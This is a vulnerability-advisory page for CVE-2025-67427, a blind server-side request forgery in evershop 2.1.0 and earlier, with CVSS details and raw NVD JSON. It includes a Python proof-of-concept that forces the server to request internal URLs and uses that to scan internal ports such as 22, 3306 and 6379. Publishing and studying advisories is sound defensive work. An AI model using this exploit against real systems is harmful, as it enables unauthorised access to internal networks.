Security Vulnerability Report
中文
CVE-2025-67427 CVSS 6.5 MEDIUM

CVE-2025-67427

Published: 2026-01-05 20:16:03
Last Modified: 2026-01-12 18:12:23

Description

A Blind Server-Side Request Forgery (SSRF) vulnerability in evershop 2.1.0 and prior allows unauthenticated attackers to force the server to initiate an HTTP request via the "GET /images" API. The vulnerability occurs due to insufficient validation of the "src" query parameter, which permits arbitrary HTTP or HTTPS URIs, resulting in unexpected requests against internal and external networks.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:evershop:evershop:*:*:*:*:*:node.js:*:* - VULNERABLE
evershop <= 2.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-67427 PoC - Blind SSRF in evershop /images API # Target: evershop <= 2.1.0 # Vulnerability: Insufficient validation of 'src' query parameter TARGET = "http://target-evershop-server.com" SSRF_PAYLOAD = "http://internal-service:8080/admin" def exploit_ssrf(): """ Exploit Blind SSRF by forcing server to make request to internal service """ endpoint = f"{TARGET}/images" params = { "src": SSRF_PAYLOAD } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] SSRF payload: {SSRF_PAYLOAD}") print(f"[*] Response status: {response.status_code}") # In blind SSRF, response may not reveal internal data # Use time-based or external listener to confirm except requests.exceptions.Timeout: print("[+] Timeout detected - internal service may exist") except Exception as e: print(f"[-] Error: {e}") def port_scan_internal(): """ Use SSRF to scan internal network ports """ common_ports = [22, 80, 443, 3306, 6379, 8080, 27017] internal_host = "127.0.0.1" for port in common_ports: endpoint = f"{TARGET}/images" params = { "src": f"http://{internal_host}:{port}" } try: response = requests.get(endpoint, params=params, timeout=3) print(f"[+] Port {port} is open") except requests.exceptions.Timeout: print(f"[+] Port {port} is likely open (timeout)") except: print(f"[-] Port {port} is closed or filtered") if __name__ == "__main__": print("[*] CVE-2025-67427 - Blind SSRF Exploit") exploit_ssrf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67427", "sourceIdentifier": "[email protected]", "published": "2026-01-05T20:16:03.350", "lastModified": "2026-01-12T18:12:22.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Blind Server-Side Request Forgery (SSRF) vulnerability in evershop 2.1.0 and prior allows unauthenticated attackers to force the server to initiate an HTTP request via the \"GET /images\" API. The vulnerability occurs due to insufficient validation of the \"src\" query parameter, which permits arbitrary HTTP or HTTPS URIs, resulting in unexpected requests against internal and external networks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:evershop:evershop:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.1.0", "matchCriteriaId": "227349FD-25AD-4D12-AD7B-F50210FF385D"}]}]}], "references": [{"url": "https://github.com/dos-m0nk3y/CVE/tree/main/CVE-2025-67427", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/evershopcommerce/evershop", "source": "[email protected]", "tags": ["Product"]}]}}